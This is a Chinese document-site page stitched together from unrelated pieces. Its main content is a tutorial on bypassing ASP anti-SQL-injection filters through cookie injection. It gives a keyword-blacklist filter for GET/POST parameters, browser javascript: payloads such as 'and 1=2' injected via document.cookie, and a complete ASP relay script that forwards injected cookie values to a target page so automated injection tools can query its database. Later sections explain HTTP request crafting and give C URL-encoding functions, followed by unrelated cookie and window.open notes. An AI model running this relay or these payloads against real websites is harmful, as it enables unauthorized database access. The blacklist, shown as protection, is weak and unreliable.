文档库 最新最全的文档下载
当前位置:文档库 › POST GET与COOKIE注入原理

POST GET与COOKIE注入原理

POST GET与COOKIE注入原理
POST GET与COOKIE注入原理

POST GET与COOKIE注入原理

一般的http请求不外乎get 和post两种,如果过滤掉所有post或者get请求中的参数信息中的非法字符,那么也就实现了防SQL注入。

首先定义请求中不能包含如下字符:

'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare

各个字符用"|"隔开,然后再判断Request.QueryString,具体代码如下:

get请求的非法字符过滤:

dim sql_injdata

SQL_injdata = "'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare" SQL_inj = split(SQL_Injdata,"|")

If Request.QueryString<>"" Then

For Each SQL_Get In Request.QueryString

For SQL_Data=0 To Ubound(SQL_inj)

if instr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))>0 Then

Response.Write ""

Response.end

end if

next

Next

End If

post请求的非法字符过滤:

If Request.Form<>"" Then

For Each Sql_Post In Request.Form

For SQL_Data=0 To Ubound(SQL_inj)

if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))>0 Then

Response.Write ""

Response.end

end if

next

next

end if

然后在使用的时候将这两段代码放在数据库连接的文件里一起Include进来即可。

一般情况下,当我们要渗透的网站做了防注入的话,最有效的就是进行Cookie注入,下面附手工进行Cookie注入的方法..(不要点击以下XXX。。。)

---------华丽的分割线---------

假设网址为https://www.wendangku.net/doc/5118634562.html,/xxx.asp?id=xxx,对GET以及POST提交的数据都进行了检测,也没办法饶过.首先打开上面的地址,再清空地址栏,输入javascript:alert(document.cookie="id="+escape("46 and 1=2")),再输入https://www.wendangku.net/doc/5118634562.html,/xxx.asp,页面返回错误,说明有希望;提交javascript:alert(document.cookie="xx and 1=1")),最后输入https://www.wendangku.net/doc/5118634562.html,/xxx.asp,这次返回完全正常,然后利用以下代码进行Cookie注入

程序代码

JavaScript代码

<%

cookname=request("jmdcw")

cookname=escape(cookname)

jmstr="id="&cookname '存在注入的变量

jmstr=replace(jmstr,chr(32),"%20")

jmstr=replace(jmstr,chr(43),"%2b")

'//以下三行需要修改,Cookies值可以用Domain3.5浏览下就得到了~~

jmurl="https://www.wendangku.net/doc/5118634562.html,/xxx.asp" '存在注入的网址

jmref="https://www.wendangku.net/doc/5118634562.html,/xxx.asp" '来源地址

jmcok="ASPSESSIONIDCQTAQBSQ=ALGDAPNDKCOHJNDCAMOHDHLK"

jmcok=jmcok& ";"&jmstr";"

response.write postdata(jmurl,jmcok,jmref)

function postdata(posturl,postcok,postref)

dim http

set http=server.createobject("msxml2.serverxmlhttp")

with http

.open "POST",posturl,false

.setRequestheader "content-type","application/x-www-form-urlencoded"

.setrequestheader "referer",postref

.setrequestheader "cookie",postcok '提交cookie值

.send() '发送数据

postdata=.responsebody '得到返回的二进制信息

end with

set http=nothing

postdata=bytes2BSTR(postdata) '转换二进制流

end function

function bytes2BSTR(vin)

dim strReturn

dim i,thischarcode,nextcharcode

strReturn=""

for i=1 to lenB(vin)

thischarcode=ascB(midB(vin,1,1))

if thischarcode<&H80 then

strReturn=strReturn&chr(thischarcode)

else

nextcharcode=ascB(midB(vin,1+1,1))

strReturn=strReturn&chr(clng(thischarcode) * &H100+cint(nextcharcode))

i=i+1

end if

next

bytes2BSTR=strReturn

end function

%>

保存以上代码为xxx.asp,那么注入地址就是http://127.0.0.1/jmdcw.asp?jmdcw=xxx,直接用工具猜解就OK.

注入工具的原理和开发

“注入”这一词眼下可算得上时髦,“大街小巷”到处都能“听”到看到。这一词曾经让无数人“闻名色变”,今天我们的话题仍是注入。不过今天我们这里的这个注入不同于以往的,它有别于通常的SQL注入,可以说是一种新型的。平日里,人们在提交数据的时候都是采用页面形式。但是,今天我们这里就要打破这一传统观念。这种方法是通过自己构造HTTP请求报文,以程序的方式代替传统的方法,实现数据的自动提交。

在文章还未进入正题的时候,我就HTTP协议这个东西给大家再罗嗦两句。其实关于HTTP 协议这个东西我本来都不想说的。但是,为了照顾大多数朋友。平日里,当我们在打开一个网站的时候,比如说https://www.wendangku.net/doc/5118634562.html,/,实际上IE作为一个客户端,它将向服务器发送的是如下的请求报文:

GET / HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms- powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */* Accept-Language: zh-cn

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)

Host: https://www.wendangku.net/doc/5118634562.html,

Connection: Keep-Alive

Cookie: NETEASE_SSN=hinrof; NETEASE_ADV=11&22; Province=0; City=0; NTES_UV_COOKIE=YES

从以上的报文中,我们可以看到很多字段,不过其中有很多并不是必须的,如果我们自己编程,只关心必要的就行了。在HTTP/1.1协议中规定了最小请求消息由方法字段(GET/POST/HEAD)和主机字段(HOST)构成。如上面的

GET /HTTP/1.1

HOST:https://www.wendangku.net/doc/5118634562.html,

但在HTTP/1.0中,HOST字段并不是必须的,至于这里为什么不能省,继续往下看。

GET和POST是浏览器向服务器提交报文通常所采用的两种方法。服务器在收到报文之后,解码分析出所需的数据并进行处理,最后返回结果。通常我们可以看到的都是像

GET /list.asp?id=*** HTTP/1.1

HOST:***.***.***.***

由于受URL长度1024的限制,所以GET方法通常是用在提交一些小数据的情况下。如果数据比较大就只能采用POST方法。在讲解POST方法的一些要点之前,大家还是先来看一段POST请求报文。

POST/huace/add.php HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms- powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwav

e-flash, */*

Referer: http://202.147.125.36/huace/add.php

Accept-Language: zh-cn

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)

Host: 202.147.125.36

Content-Length: 115

Connection: Keep-Alive

name=test&email=&comefrom=&homepage=&icq=

&oicq=&image=say.gif&comment=test&password=&doadd=%B7%A2%CB%CD%C1%F4%D1 %D4

与GET方法相比,在字段下面多了一段内容,这就是我们提交的数据,如果有中文须经过urlencode编码。同样让我们省去不必要的字段,构造一个最小的POST请求。

POST/huace/add.php HTTP/1.1

Host: 202.147.125.36

Content-Type: application/x-www-form-urlencoded

Content-Length: 115

name=test&email=&comefrom=&homepage=

&icq=&oicq=&image=say.gif&comment=test&password=&doadd=%B7%A2%CB%CD%C1%F 4%D1%D4

上面的Content-Type字段表示为POST表单型的,Content-Length当然就是表示实体数据的长度了,这里都不能少,不然就无法正确接收了。这样,服务器端处理页面就会收到提交的数据,并接收处理。

上面不知不觉的讲了一大堆关于客户端的东西,接下来看服务器方面。当报文数据到达服务器后,服务器底层进程进行接收并放入特定的缓冲区,同时设置一些环境变量,如“CONTENT_LENGTH“、”QUERY_STRING“等,当然这其间还是屏蔽了一些底层细节的,如客户端提交的数据是怎么被重置到被请求页的标准输入的,在此我们就不做过多的考虑。之后高层应用程序如CGI、ASP、PHP等对其进行数据提取,其中CGI还须自己进行Unencode 解码和字符串提取。假如向一个ASP程序提交数据,我提交了name和body字段,且采用POST表单方式提交,在ASP程序中应如下进行接收:

name=request.form("name")

body=request.form("body")

并添加到数据库中

rs.addnew

rs("name")=name

rs("body")=body

rs.update

到此,该讲的也基本上讲完了,同时这里我们还要注意一点就是我们在发送报文时,“name=value“URLEncode编码这个东西不能少,如果没有它,我们在向数据库写东西的时候有可能就会失败。同时我们在这里还要注意一个问题,当编译器处理的是中文字符时,它会自动根据字符的位7来读入一个或两个字符,这时可以强制采用unsigned char *来读入一个字符。

int isT(char ch)

{

if(ch==’ ’||ch==’%’||ch==’/’||ch&0x80) return 1;

else return 0;

}

int encode(char *s,char *d)

{

if(!s||!d) return 0;

for(;*s!=0;s++)

{

unsigned char *p=(unsigned char*)s;

if(*p==’ ’)

{

*d=’%’;

*(d+1)=’2’;

*(d+2)=’0’;

d+=3;

}

else if(isT(*p))

{

char a[3];

*d=’%’;

sprintf(a,"%02x",*p); *(d+1)=a[0];

*(d+2)=a[1];

d+=3;

}

else

{

*d=*p;

d++;

}

}

*d=0;

return 1;

}

以下是Unencode URL解码函数:

int unencode(char *s,char *d)

{

if(!s||!d) return 0;

for(;*s!=0;s++)

{

if(*s==’+’)

{

*d=’ ’;

d++;

}

else if(*s==’%’)

{

int code;

if(sscanf(s+1,"%02x",&code)!=1) code=’?’; *d=code;

s+=2;

d++;

}

else

{

*d=*s; d++;

}

}

*d=0; return 1; }

……

Cookie用法大全

COOKIE用法大全ASP中的Cookie用法:Cookie是一种发送到客户浏览器的文本串句柄,并保存在客户机硬盘上,可以用来在某个Web站点会话之间持久地保持数据。Reque st和Response对象都有一组Cookie。Request.cookie集合是一系列Cookie,从客户端与HTTP Request一起发送到Web服务器。反过来,如果你希望把Cookie发送到客户机,就可以使用Response.Cookies. 1、Expires属性该属性可以赋一个日期,过了这个日期Cookie就不能再被使用了。通过给Expires属性赋一个过期的日期,就可以删除Cookie。如:<%Response.cookies("passtime").Expires=DateAdd("m", 1, NOW)%> 这样设置Cookie在一个月后过期。2、Domain属性该属性定义Cooki e要传送的唯一域。如:Cookie只传送给Microsoft的人,则可以使用以下代码。<%R esponse.Cookies("domain").Domain="https://www.wendangku.net/doc/5118634562.html,/"%> 3、ASP 用来写入Cookie即向客户机发送Cookie的语法如下:Response.Cookies("C ookie名").[("键名").属性]=内容如果某个ASP文件要创建一个Cookie,则下面的代码可以放在ASP文件的第一个之前,以避免产生错误. <%Response.Cookie s("CookieName")="NewCookie" %> ...... 4、同样ASP用Re quest对象的Cookies集合来读取Cookie,如:<%Response.write Request.Cooki es("CookieName")%> 下面以一个完整的例子来说明Cookie:<% dim Num Num=Request.Cookies("Visit_num") if Num>0 then Num=Num+1 Response. write "您已是第" & Num & "次访问本站点了。" else Response.write "欢迎您首次访问本站。" Num=1 end if Response.Cookies("Visit_num")=Num %> 在该例子中,首先读取Cookies变量Visit_num,看用户端计算机是否保存有Cookies变量。如果有该变量,则说明用户已经访问过该页面,同时输入出访问次数。如果用户是首次访问该页面,则其计算机内不会有Cookies变量,程序会显示“欢迎”字样,然后将Cookies变量Visit_num存到用户计算机中,以便该用户下一次访问该页面时给出“访问的次数”信息。 5、Cookie字典有时在一个页面中可能需要定义很多个Cookies变量,为了更好地管理它,在Cookies组件中常引入一人的概念“子键”。引用它的语法如下:Request. Cookies("变更名")("子键名")如下面的Cookie创建一个名为"Dictionary"的字典,其中保存了三个键值:<% Response.Cookie("info")("Myname")="jeff" Resp onse.Cookie("info")("Gender")="male" Response.Cookie("info")("Myheight")= "172" %> 事实上客户机上的Cookie字典是以字符串的形式存在:info=Myname

网站防注入别忘了cookie注入

网站防注入别忘了cookie注入 经过几年的注入攻击的洗礼,现在即使一般小企业的网站也做了防注入,但有一种注入叫cookie注入,由于它利用了网站程序一般很少使用但确实可用的获取参数的方法,很多网站程序的作者往往忽略了防范cookie注入,给网站的安全带来极大危害。下面我还是通过一个例子说明cookie注入的危害。 我收藏了一款存在cookie注入漏洞的ASP网站程序―宜昌电脑网络公司v2.8版,它存在的注入漏洞比较经典,就用它来演示cookie注入漏洞了。 发现漏洞 我把宜昌电脑网络公司v2.8版在虚拟机里用IIS运行了起来,网站访问地址为http://127.0.0.1/ ,如图1。 在“常见故障”栏目中点开一篇名为“夏普复印机特殊故障代码的复位方法”的文章,在浏览器中显示的地址为http://127.0.0.1/news_more.asp?id=1093,如图2。 在这个地址后面输入-0,也就是浏览器中的地址变为了http://127.0.0.1/news_more.asp?id=1093-0,回车,显示的还是“夏普复印机特殊故障代码的复位方法”这篇文章;在地

址http://127.0.0.1/news_more.asp?id=1093后面输入-1,也就是浏览器中的地址变为了 http://127.0.0.1/news_more.asp?id=1093-1,回车,显示的文章变为了“夏普AR1818、AR163、AR163N、AR2818垂直白线”,如图3 。 和直接访问http://127.0.0.1/news_more.asp?id=1092显示的页面相同。也就是id后面的参数1093-1这个减法运算被执行了,推测news_more.asp在获取id参数的值时过滤不严,很可能存在注入漏洞。是否存在普通的注入漏洞呢?在地址http://127.0.0.1/news_more.asp?id=1093后面输入空格and空格1=1(把空格换成按一下空格键),地址变为了http://127.0.0.1/news_more.asp?id=1093 and 1=1,回车后出来了防注入提示“系统提示:您进行了非法操作请不要在参数中包含非法字符尝试注入!”,如图4。 看来网站有防注入措施,那是不是网站就不存在注入漏洞了呢?ASP程序有Get和Put两种常用获得输入的方法,还有一种不常用的通过cookie获得输入的方法。 http://127.0.0.1/news_more.asp?id=1093 and 1=1就是通过Get方式获得参数的值1093 and 1=1,注入代码被拦截只能说明通过Get方式提交的注入代码被拦截,那么我们通过不常用的cookie提交注入代码是否会被拦截呢?来实际测试一下。在浏览器的地址栏中输入

跨域获取cookie,多个网站实现一键登录

A网站首页PHP(也可以在登录页面加入下面的代码)加入如下代码 view plaincopy to clipboardprint? 1. A网站增加文件getcookies.php,目的是为了让B网站可以以ajax方式来查询A网站的cookie getcookies.php 代码如下 view plaincopy to clipboardprint? 1.$winduid,'msg'=>$msg)); 4.//可以用json_encode自动转换,也可以手写json格 式 $json_data = '{"mywinduid":'.$mywinduid.'}'; 5.$json_data = json_encode(array('mywinduid'=>$mywinduid)); 6.//必需以下这样形式输出,重点就是发送请求的网页的参数中要有jsoncallback参 数 7.echo $callback.'('.$json_data.')'; 8.?> 在需要查询A网站cookie的B网站页面中增加如下代码 view plaincopy to clipboardprint? 1. 2.

Kristenscookiecompany案例分析

Kristen’s cookie company案例分析 一、案例背景介绍 本案例主要介绍的是好室友1和好室友2要在学校里开一家饼干公司。该公司根据订单情况,提供定制化的产品。并且,公司的订单必须是完全新鲜的,因此在接到订单之前不能烘烤饼干。Kristen饼干的制作流程很简单,第一个步骤是接到订单,接订单的时间忽略不计;然后是清洗制作上一批产品时,用于混合原材料的碗,接着进行搅拌,清洗和搅拌的过程需要6分钟;将饼干放入烤盘,需要2分钟;接着把饼干放入烤箱并设定时间和温度,这个过程需要1分钟的时间;烤制饼干需要9分钟;饼干烤熟之后,进行5分钟冷却;继而进行包装,需要2分钟;最后收钱需要1分钟。 在这个过程中,好室友1需要做的是清洗和搅拌工作以及把饼干放入烤盘;好室友2需要做的是讲饼干放入烤箱并设定时间和温度,把烤好的饼干进行包装,以及最后的收费工作。 在这个过程中涉及到的成本主要有:原料成本——0.6美元/打;用来包装饼干的盒子成本——0.1美元/打,这种盒子每个只能装1打饼干;好室友1和好室友2的时间成本。 二、案例说明 1、时间以及成本 根据案例,我们对饼干制作流程以及制作过程中的人员分配进行简单归纳,见表1. 表1:各项流程耗时及人员说明 2、流程分析 为了更好的理解Kristen饼干制作时的过程,我们绘制出整个饼干产品生产的流程图。

6分钟/次 2分钟/盘 9分钟/次5分钟/次2分钟/打1分钟/单 图1:饼干制作流程图 3、其他 饼干是完全新鲜的,因此在接到订单之前不能烘烤饼干。 三、案例分析 1、你需要多长时间来处理一个紧急的订单? 为了简化分析,我们首先来考虑一种比较简单的情况,即对问题做出如下基本假设: 假设1:仅分析订单单位均为1打的情况,即我们假设,紧急订单都需要的是1打饼干。 假设2:如果紧急订单到达时有正在处理的订单,则正在处理的订单之后无订单。(即正在处理的订单之后就马上是紧急订单) 假设3:烤箱、烤盘、搅拌器均只有一个。 在分析之前,我们定义一个函数()y i 。()y i 表示完成每一个生产流程所需要的时间。其中,i 表示的是根据图1所表示的生产流程进行到第i 个步骤,取值为1,2,...,7i 。根据案例背景,我们很容易得到()y i 的表达式如下: (1)紧急订单之前,好室友1和好室友2是闲暇的,即不存在排队情况。那么

使用Cookie记录用户名和密码

使用Cookie记录用户名和密码 一、用户登录操作 在用户填写登录数据后,提交表单进行登录验证,如果用户名和密码正确,则把用户名和密码保存在客户端。页面如图1所示 实现代码如下所示。 ... response.setContentType("text/html;charset=gbk"); //获取用户名 String userName = request.getParameter("username"); //获取用户密码 String password = request.getParameter("password"); //验证用户是否合法 if ("accp".equals(userName) && "accp".equals(password)) { //如果合法,把用户名和密码保存在客户端Cookie中 //获取客户选择的Cookie保存时间 String cookieDate = request.getParameter("cookieDate"); int date = 0; if (cookieDate != null && cookieDate != "") date = Integer.parseInt(cookieDate); //创建用户名Cookie对象 Cookie cookieName = new Cookie("accpLoginName", userName); //设置Cookie保存时间 cookieName.setMaxAge(date); //添加到客户端 response.addCookie(cookieName);

Cookie cookiePass = new Cookie("accpLoginPass", password); //设置保存Cookie时间 cookiePass.setMaxAge(date); //添加到客户端 response.addCookie(cookiePass); response.sendRedirect("success.jsp"); } else { response.sendRedirect("fail.jsp"); } ... 二、用户再次登录时操作 服务器首先读取客户端Cookie信息,如果存在用户名和密码数据,则直接登录,否则显示登录页面。 实现代码如下所示。 response.setContentType("text/html;charset=gbk"); //用户名和密码是否存在以及合法的判断参数 boolean bool=false; //获取客户端Cookie数组 Cookie[] cookies = request.getCookies(); //判断客户端是否存在Cookie对象 if (cookies != null) { //预定义保存用户名和密码的变量 String userName = ""; String password = ""; //遍历Cookie数组 for (int i = 0; i < cookies.length; i++) { //取得每一个Cookie对象 Cookie cookie = cookies[i]; //判断Cookie的名称是否等于"accpLoginName" if ("accpLoginName".equals(cookie.getName())) { userName = cookie.getV alue(); } //判断Cookie的名称是否等于"accpLoginPass" if ("accpLoginPass".equals(cookie.getName())) { password = cookie.getV alue(); } }

结构设计原理

重庆交通学院继续教育学院 2004——2005学年第二学期考试试卷(A ) 《结构设计原理》课程 的关系为 A 、适筋破坏 >超筋破坏 >少筋破坏 C 、超筋破坏 >少筋破坏 > 适筋破坏 8、 长期荷载作用下,钢筋混凝土梁的挠度会随时间而增长,其主要原因是 A 、受拉钢筋产生塑性变形 B 、受拉混凝土产生塑性变形 C 、受压混凝土产生塑性变形 D 、受压混凝土产生徐变 9、 要求梁的弯矩包络图必须位于材料抵抗图之内,是为了满足 A 、正截面抗弯强度 B 、 斜截面抗弯强度 C 、变形要求 D 、 斜截面抗剪要求 10、对梁施加预应力,可提咼梁的 A 、塑性 B 、 延性 C 、斜截面抗弯强度 D 、 抗裂 考核形式:闭卷 层次:本科 班级: 考试需用时间:120分钟 姓名: 学号: 一、单项选择(15分) 1、 在双向压力的作用下,混凝土的抗压强度与单轴抗压强度相比较将 A 、提高 B 、降低 C 、基本一样 D 、不一定 2、 超筋梁破坏时,受拉钢筋应£ g 和受压区边缘混凝土应变£ h 满足 A 、 £ g < £ q (屈服应变)£ h = £ hmax B 、£ g = £ q (屈服应变) C £ g > £ q (屈服应变) £ h = £ hmax D 、£ g = £ q (屈服应变) 3、 双筋矩形截面梁正截面受弯承载力计算时,受压钢筋设计强度规定不得 超过 是因为 A 、受压混凝土强度不够 C 、受压钢筋应变仅能达到 0.002 4、对于无明显流幅的钢材,其抗拉设计强度是以( A 、屈服强度 C 、冷拉控制应力 结构延性 受拉钢筋已屈服 )为取值依据 极限强度 0- 0.2 ( h < h = £ hmax hmax 400MPa 这 ) A 、y s2 + y s3+ y s4+ y s5/2 c 、 (T s5 /2 + y s6 7、 y s5+ y s6 对于大偏心受压构件,当 M 不变时,N 越大越安全 不变 时,M 越小越危险 正截面受弯构件 的破坏形态有三种。 N 或M 变化时, B (T sl + s2+ (y s4 构件的安全发生怎么的变化? 、M 不变时,N 越小越安全 、N 不变时,M 越大越安全 对同样截面尺寸的构件,其抗弯承载力 (

Cookies注入

Cookies注入 现在很多网站都加了防注入系统代码,你输入注入语句将无法注入 感觉这样的防注入系统不错,但防注入系统没有注意到Cookies 的问题! 所以就有了Cookies注入 我们来研究一下怎样情况下才会有Cookies注入! 如果你学过ASP,你应该会知道Request.QueryString(GET)或Request.Form (POST)!呵,没错,这就是我们用于读取用户发给WEB服务器的指定键中的值!我们有时为了简化代码,会写成ID=Request("ID") 这样写法是简单了,但问题就来了我们先看WEB服务是怎样读取数据的,他是先取GET 中的数据,没有再取POST中的数据,还会去取Cookies中的数据(晕,书上没有这么说,这是和小高交流时才知道看来书说的不全) 我们再看看防注入系统,他会检测GET和POST中的数据,如果有特殊字符(这里当然是注入字符了)! 就禁止数据的提交! 但他没有检测Cookies的数据!问题就来了,那我们怎样测试是否有Cookies注入问题。请先看下面的的连接(示例用,所以连接不是真的) http://*****.2008.***.com/1.asp?id=88 如果我们只输http://*****.2008.***.com/1.asp 时,就不能看到正常的数据,因为没有参数! 我们想知道有没有Cookies问题(也就是有没有Request("XXX")格式问题), 先用IE输入 http://*****.2008.***.com/1.asp 加载网页,显示不正常(没有输参数的原因) 之后在IE输入框再输入 javascript:alert(document.cookie="id="+escape("88")); 按回车,你会看到弹出一个对话框内容是: id=88 之后,你刷新一个网页,如果正常显示,表示是用 Request("ID")这样的格式收集数据,这种格式就可以试Cookies注入了 在输入框中输入 javascript:alert(document.cookie="id="+escape("88 and 2=2")); 刷新页面,如果显示正常,可以再试下一步(如果不正常,就有可能也有过滤了)

结构设计原理

结构设计原理 交卷时间:2016-11-05 15:53:42一、单选题 1. (2分)钢筋屈服状态指 得分: 2 知识点:结构设计原理作业题 答案B 解析 考查要点: 试题解答: 2. (2分)地震荷载属于()

得分: 2 知识点:结构设计原理作业题 答案D 解析 考查要点: 试题解答: 3. (2分)下列对结构的分类不属于按受力特征分类的是:() 得分: 2 知识点:结构设计原理作业题 答案A 解析 考查要点: 试题解答: 4. (2分) 直径300mm的轴心受压柱,由C25混凝土(f cd=11.5Mpa),HPB300(f sd=270Mpa)钢筋制作,要它能够承担1400kN的压力,最好选直径25mm的钢筋()根。

得分: 2 知识点:结构设计原理考试题 答案C 解析 考查要点: 试题解答: 5. (2分)梁内抵抗弯矩的钢筋主要是() 得分: 2 知识点:结构设计原理作业题 答案A 解析 考查要点: 试题解答: 6. (2分)事先人为引入内部应力的混凝土叫()。

得分: 2 知识点:结构设计原理作业题 答案C 解析 考查要点: 试题解答: 7. (2分)下列描述是适筋梁的是() 得分: 2 知识点:结构设计原理考试题 答案C 解析 考查要点: 试题解答: 8. (2分)拉伸长度保持不变,钢筋中的应力随时间而减小的现象叫()。

得分: 2 知识点:结构设计原理作业题 答案D 解析 考查要点: 试题解答: 9. (2分)针对地震荷载的计算属于() 得分: 2 知识点:结构设计原理考试题 答案D 解析 考查要点: 试题解答: 10.

Java基础-关于session的详细解释

Java基础-关于session的详细解释 session, Java, 基础, 解释 一、术语session 在我的经验里,session这个词被滥用的程度大概仅次于transaction,更加有趣的是transaction与session在某些语境下的 含义是相同的。 session,中文经常翻译为会话,其本来的含义是指有始有终的一系列动作/消息,比如打电话时从拿起电话拨号到挂断电话这中间的一系列过程可以称之为一个session。有时候我们可以看到这样的话“在一个浏览器会话期间,...”,这里的会话一词用的就是其本义,是指从一个浏览器窗口打开到关闭这个期间①。最混乱的是“用户(客户端)在一次会话期间”这样一句话,它可能指用户的一系列动作(一般情况下是同某个具体目的相关的一系列动作,比如从登录到选购商品到结账登出这样一个网上购物的过程,有时候也被称为一个transaction),然而有时候也可能仅仅是指一次连接,也有可能是指含义①,其中的差 别只能靠上下文来推断②。 然而当session一词与网络协议相关联时,它又往往隐含了“面向连接”和/或“保持状态”这样两个含义,“面向连接”指的是在通信双方在通信之前要先建立一个通信的渠道,比如打电话,直到对方接了

电话通信才能开始,与此相对的是写信,在你把信发出去的时候你并不能确认对方的地址是否正确,通信渠道不一定能建立,但对发信人来说,通信已经开始了。“保持状态”则是指通信的一方能够把一系列的消息关联起来,使得消息之间可以互相依赖,比如一个服务员能够认出再次光临的老顾客并且记得上次这个顾客还欠店里一块钱。这一类的例子有“一个TCP s ession”或者“一个POP3 session”③。 而到了web服务器蓬勃发展的时代,session在web开发语境下的语义又有了新的扩展,它的含义是指一类用来在客户端与服务器之间保持状态的解决方案④。有时候session也用来指这种解决方案的存储结构,如“把xxx保存在session里”⑤。由于各种用于web开发的语言在一定程度上都提供了对这种解决方案的支持,所以在某种特定语言的语境下,session也被用来指代该语言的解决方案,比如经常把Java 里提供的javax.servlet.http.HttpSession简称为session⑥。 鉴于这种混乱已不可改变,本文中session一词的运用也会根据上下文有不同的含义,请大家注意分辨。 在本文中,使用中文“浏览器会话期间”来表达含义①,使用“session机制”来表达含义④,使用“session”表达含义⑤,使用 具体的“HttpSession”来表达含义⑥

结构设计原理计算方法

结构设计原理案例计算步骤 一、单筋矩形截面受弯构件正截面承载力计算 计算公式: ——水平力平衡 ()——所有力对受拉钢筋合力作用点取矩() ()——所有力对受压区砼合力作用点取矩()使用条件: 注:/,&& 计算方法: ㈠截面设计yy 1、已知弯矩组合设计值,钢筋、混凝土强度等级及截面尺寸b、h,计算。 ①由已知查表得:、、、; ②假设; ③根据假设计算; ④计算(力矩平衡公式:); ⑤判断适用条件:(若,则为超筋梁,应修改截面尺寸或提 高砼等级或改为双筋截面); ⑥计算钢筋面积(力平衡公式:); ⑦选择钢筋,并布置钢筋(若 ,则按一排布置); 侧外 ⑧根据以上计算确定(若与假定值接近,则计算,否则以的确定值作 为假定值从③开始重新计算); ⑨以的确定值计算; ⑩验证配筋率是否满足要求(,)。 2、已知弯矩组合设计值,材料规格,设计截面尺寸、和钢筋截面面积。 ①有已知条件查表得:、、、; ②假设,先确定; ③假设配筋率(矩形梁,板); ④计算(,若,则取); ⑤计算(令,代入); ⑥计算(,&&取其整、模数化); ⑦确定(依构造要求,调整); ⑧之后按“1”的计算步骤计算。 ㈡承载力复核 已知截面尺寸b、,钢筋截面面积,材料规格,弯矩组合设计值,

所要求的是截面所能承受的最大弯矩,并判断是否安全。 ①由已知查表得:、、、; ②确定; ③计算; ④计算(应用力平衡公式:,若,则需调整。令, 计算出,再代回校核); ⑤适用条件判断(,,); ⑥计算最大弯矩(若,则按式计算最大弯矩) ⑦判断结构安全性(若,则结构安全,但若破坏则破坏受压区,所以应以受压区控制设计;若,则说明结构不安全,需进行调整——修改尺寸或提高砼等级或改为双筋截面)。 二、双筋矩形截面梁承载力计算 计算公式: , ,()+() 适用条件: (1) (2) 注:对适用条件的讨论 ①当&&时,则应增大截面尺寸或提高砼等级或增加的用量(即 将当作未知数重新计算一个较大的);当时,算得的即为安全要 求的最小值,且可以有效地发挥砼的抗压强度,比较经济; ②当&&时,表明受压区钢筋之布置靠近中性轴,梁破坏时应变较 小,抗压钢筋达不到其设计值,处理方法: a.《公桥规》规定:假定受压区混凝土压应力的合力作用点与受压区钢筋合力作用 点重合,并对其取矩,即 令2,并 () 计算出; b.再按不考虑受压区钢筋的存在(即令),按单筋截面梁计算出。 将a、b中计算出的进行比较,若是截面设计计算则取其较小值,若是承载能力复核则取其较大值。 计算方法: ㈠截面设计 1.已知截面尺寸b、h,钢筋、混凝土的强度等级,桥梁结构重要性系数,弯矩组合 设计值,计算和。 步骤: ①根据已知查表得:、、、、; ②假设、(一般按双排布置取假设值); ③计算;

WINDOW.OPEN各属性及用法详解

一、window.open()支持环境: JavaScript1.0+/JScript1.0+/Nav2+/IE3+/Opera3+二、基本语法:window.open(pageURL,name,parameters)其中:pageURL为子窗口路径name为子窗口句柄parameters为窗口参数(各参数用逗号分隔)三、示例:脚本运行后,page.html将在新窗体newwindow中打开,宽为100,高为400,距屏顶0象素,屏左0象素,无工具条,无菜单条,无滚动条,不可调整大小,无地址栏,无状态栏。请对照。上例中涉及的为常用的几个参数,除此以外还有很多其他参数,请见四。四、各项参数其中yes/no也可使用1/0;pixel value为具体的数值,单位象素。参数|取值范围|说明alwaysLowered|yes/no|指定窗口隐藏在所有窗口之后alwaysRaised|yes/no|指定窗口悬浮在所有窗口之上depended|yes/no|是否和父窗口同时关闭directories| yes/no|Nav2和3的目录栏是否可见height|pixel value|窗口高度hotkeys|yes/no|在没菜单栏的窗口中设安全退出热键innerHeight| pixel value|窗口中文档的像素高度innerWidth|pixel value|窗口中文档的像素宽度location|yes/no|位置栏是否可见menubar|yes/no|菜单栏是否可见outerHeight|pixel value|设定窗口(包括装饰边框)的像素高度outerWidth|pixel value|设定窗口(包括装饰边框)的像素宽度resizable|yes/no|窗口大小是否可调整screenX|pixel value|窗口距屏幕左边界的像素长度screenY|pixel value|窗口距屏幕上边界的像素长度scrollbars|yes/no|窗口是否可有滚动栏titlebar|yes/no|窗口题目栏是否可见toolbar|yes/no|窗口工具栏是否可见Width|pixel value|窗口的像素宽度z-look|yes/no|窗口被激活后是否浮在其它窗口之上 =================================== ==================【1、最基本的弹出窗口代码】其实代码非常简单:因为着是一段javascripts代码,所以它们应该放在之间。是对一些版本低的浏览器起作用,在这些老浏览器中不会将标签中的代码作为文本显示出来。要养成这个好习惯啊。Window.open ('page.html')用于控制弹出新的窗口page.html,如果page.html不与主窗口在同一路径下,前面应写明路径,绝对路径(http://)和相对路径(../)均可。用单引号和双引号都可以,只是不要混用。这一段代码可以加入HTML的任意位置,和之间可以,间也可以,越前越早执行,尤其是页面代码长,又想使页面早点弹出就尽量往前放。【2、经过设置后的弹出窗口】下面再说一说弹出窗口的设置。只要再往上面的代码中加一点东西就可以了。我们来定制这个弹出的窗口的外观,尺寸大小,弹出的位置以适应该页面的具体情况。